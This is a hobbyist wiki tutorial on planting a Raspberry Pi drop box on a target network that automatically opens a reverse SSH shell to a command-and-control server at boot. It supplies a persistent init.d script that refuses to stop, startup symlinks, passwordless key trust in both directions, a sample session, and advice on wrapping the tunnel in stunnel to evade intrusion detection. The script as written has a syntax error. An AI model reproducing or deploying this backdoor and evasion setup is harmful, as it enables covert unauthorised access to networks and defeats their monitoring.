From charlesreid1

This article covers how to get a reverse SSH shell to a Raspberry Pi.

Reverse SSH Shell

How to control the Pi once it is placed on a target network? SSH. But how?

Incoming SSH connections (from a command and control server to the Raspberry Pi) can be blocked by firewalls/security measures.

Reverse SSH is a good alternative: instead of the command and control server connecting to the Raspberry Pi, the Raspberry Pi initiates the connection to the command and control server. This is the same technique used by many backdoor programs.

SSH Command

The command and control server listens for the Pi. When the Pi is online, it calls the ssh command and connects to the remote command and control server.

Normally, when you SSH to a machine, you execute a command like:

$ ssh user@remoteserver

But if you use the -R flag, it enables a reverse connection to the listener.

$ ssh  -R  PORT1:host:PORT2  username@remoteserver

Let's unpack what that command is doing.

First, we SSH into our remoteserver with our username. This will open an SSH connection between the remote server and the local machine where the SSH command is run.

The connection between the remote server and the local computer where the command is run will happen on PORT 2.

This will then create a tunnel, on the remote server, from the remote server's PORT 2 to the remote server's PORT 1.

Anyone on the remote server who uses SSH to connect to PORT 1 on the local machine will be routed to the Raspberry Pi via the reverse SSH connection.

Cool, huh?

Reverse SSH on Startup

You can run this command on startup, so that on boot, the Pi will attempt to connect to a remote server if it is available.

First, we'll create a startup service that initiates a reverse SSH connection.

Then, we'll give it a whirl.

Add Reverse SSH Startup Service

The following instructions will walk through how to create a reverse SSH startup service on the Raspberry Pi, so that the Pi will automatically seek out and create a reverse SSH connection on boot, if the remote server can be found.

This is done by editing the Linux partition of the SD card (not the 64 MB boot partition - the ~3 GB Linux partition!) and changing some files in the init.d sequence.

Mount SD Card

First, insert the Raspberry Pi SD card into your laptop and mount the volume.

Create Reverse SSH Service

Now you'll create a reverse SSH service in /sdcard/etc/init.d/. I called mine reverse-ssh.

The following service will make the Pi automatically SSH to the command-and-control server at IP address 10.0.0.19. The command and control server username is hard-coded.

#!/bin/sh

### BEGIN INIT INFO
# Provides: new-reverse-ssh
# Required-Start: 
# Required-Stop: 
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start reverse ssh at boot time
# Description: Start reverse ssh at boot time. 
### END INIT INFO 

set -e

PARAM=/usr/bin/ssh
if [ -f $PARAM ]; then
    . "$PARAM"
fi

case "${1:-}" in
  stop|reload|restart|force-reload)
        echo "Too bad."

  start)
        echo "Opening reverse shell."
        /usr/bin/ssh -R 2222:localhost:22 command_and_control_username@10.0.0.19;;

  *)
        echo "Usage: ${0:-} {start|stop|status|restart|reload|force-reload}" >&2
        exit 1
        ;;
esac

The line ssh -R 2222:localhost:22 root@10.0.0.19 means that anyone connecting to port 2222 on the remote end will actually connect to localhost port 22, and then that will be the port that is used to connect from the remote end to the client, where this command is being run.

So from the Command and Control server, we'd ssh to port 2222 on the local machine: ssh -p 2222 root@localhost. That'll open our tunnel to the Raspberry Pi.

Notes on Improving the Script

This script currently assumes that the Pi, when connected and turned on, will have an ethernet connection that "just works."

To add more logic to the script and make it more robust, it would be better to start a Python script on startup, and that Python script could check for network interfaces, run system commands to try and establish a connection, test for an outbound connection, etc.

As is, the script will make only one attempt to connect to the command-and-control server, immediately after startup.

Updating Startup Sequence on Raspberry Pi

Now it is time to add our startup service to the Pi's onboard update-rc.d - good information here: https://www.debian-administration.org/article/28/Making_scripts_run_at_boot_time_with_Debian

Plug Pi back into the router and start it up. SSH to it.

Now update the rc service, to add our new init.d script to the appropriate runtime levels.

$ chmod 755 /etc/init.d/reverse-ssh
$ update-rc.d reverse-ssh defaults
update-rc.d: using dependency based boot sequencing

Alternatively, if you can't log into the Pi and you have to do this by modifying files on its SD card from another computer, you can do exactly what update-rc.d does automatically, but do it manually.

$ man update-rc.d

This tells you that update-rc.d creates symbolic links in /etc/rcRUNLEVEL.d/NNname. To do this manually:

$ chmod 755 /sdcard/etc/init.d/reverse-ssh
$ ln -fs /sdcard/etc/init.d/reverse-ssh /sdcard/etc/rc2.d/S02reverse-ssh

Passwordless Login: Raspberry Pi to CnC Server

Now let's create SSH keys, so the Pi can remotely SSH to the command and control server without a password.

On our Pi:

[pi] $ ssh-keygen -t dsa
[pi] $ cat ~/.ssh/id_dsa.pub

and on the command and control server:

[cncserver] $ vim ~/.ssh/authorized_keys

and paste the contents of the Raspberry Pi's public key.

Passwordless Login: CnC Server to Raspberry Pi

Now let's create SSH keys, so the command and contorol server can remotely access the Pi without a password.

On our command and control server cncserver:

[cncserver] $ ssh-keygen -t dsa
[cncserver] $ cat .ssh/id_dsa.pub

This is your command and control public key. Now copy and paste this into the Raspberry Pi's list of authorized SSH keys:

[pi] $ vim ~/.ssh/authorized_keys

and paste the contents of the public key file from your cncserver. This means that anyone on cncserver can now SSH into the Raspberry Pi and they will be automatically granted access without having to enter a Raspberry Pi username/password.

Test Reverse SSH Startup Service

Now we have added the startup service, and put it in the initialization routine. We've added public keys so nobody needs anybody's password.

Let's test it out!

Unplug the Pi, and plug it back in. Give it a moment to boot up.

Once the Pi is ready, it will have looked for your computer's IP address, found it, and SSHed into your computer. So your Pi should now be connecting from port 2222 into your laptop, and then opening a tunnel for the reverse connection in port 22.

Let's ssh into our tunnel. It's really easy - we just connect to localhost, because the connection between localhost and the remote Raspberry Pi has already been made.

root@kronos:~# ssh -p 2222 root@localhost

The authenticity of host '[localhost]:2222 ([::1]:2222)' can't be established.
ECDSA key fingerprint is 75:b3:0b:6f:84:d8:44:6b:b6:14:15:20:bd:e9:c8:80.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (ECDSA) to the list of known hosts.
Linux kali 3.12.36 #1 PREEMPT Fri Apr 10 23:27:49 CDT 2015 armv6l

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug  4 05:29:57 2015 from 10.0.0.19

root@kalipi:~# 

Boom! There we go! A reverse shell that runs on our Raspberry Pi on boot.

Diving Deeper with Wireshark

I wanted to use one of my newfound tools, Wireshark, to analyze the traffic I was seeing with the reverse SSH tunnel between the Pi and the command and control server.

I began the wireless packet capture, with the reverse SSH connection from the Pi to the command and control server.

I then made an SSH connection from the command and control server to the Pi, using ssh -p 2222 root@localhost.

I took a look at some of the statistics. It's pretty clear that this network's traffic is mostly SSH:

WiresharkReverseSSH.png

Avoiding Intrusion Detection Systems

A reverse SSH tunnel is essentially a VPN connection. Most intrusion detection systems or intrusion prevention systems will have ways of detecting and preventing such VPN connections. But you can still get around this, by disguising SSH traffic as some other kind of traffic.

Enter stunnel. Stunnel is a program that can wrap arbitrary network traffic in an SSL layer. This allows us to wrap the reverse SSH connection in an SSL layer and make it past an IDS system undetected.

SSH via SSL with stunnel

For a guide to setting up forward SSH connections over SSL using stunnel, see RaspberryPi/SSH Stunnel

For the (more interesting) case of reverse SSH over SSL using stunnel, see RaspberryPi/Reverse SSH Stunnel

Reverse SSH In The Field

The example of reverse SSH that I just showed is an example on a local network, using local IPs.

But the principle is the same for remote servers on the internet: as long as the Pi is connected to the internet, and its SSH connections can reach the outside world, we can get a reverse SSH connection. We just need a remote command and control server that is listening when the Raspberry Pi runs its reverse-ssh startup script.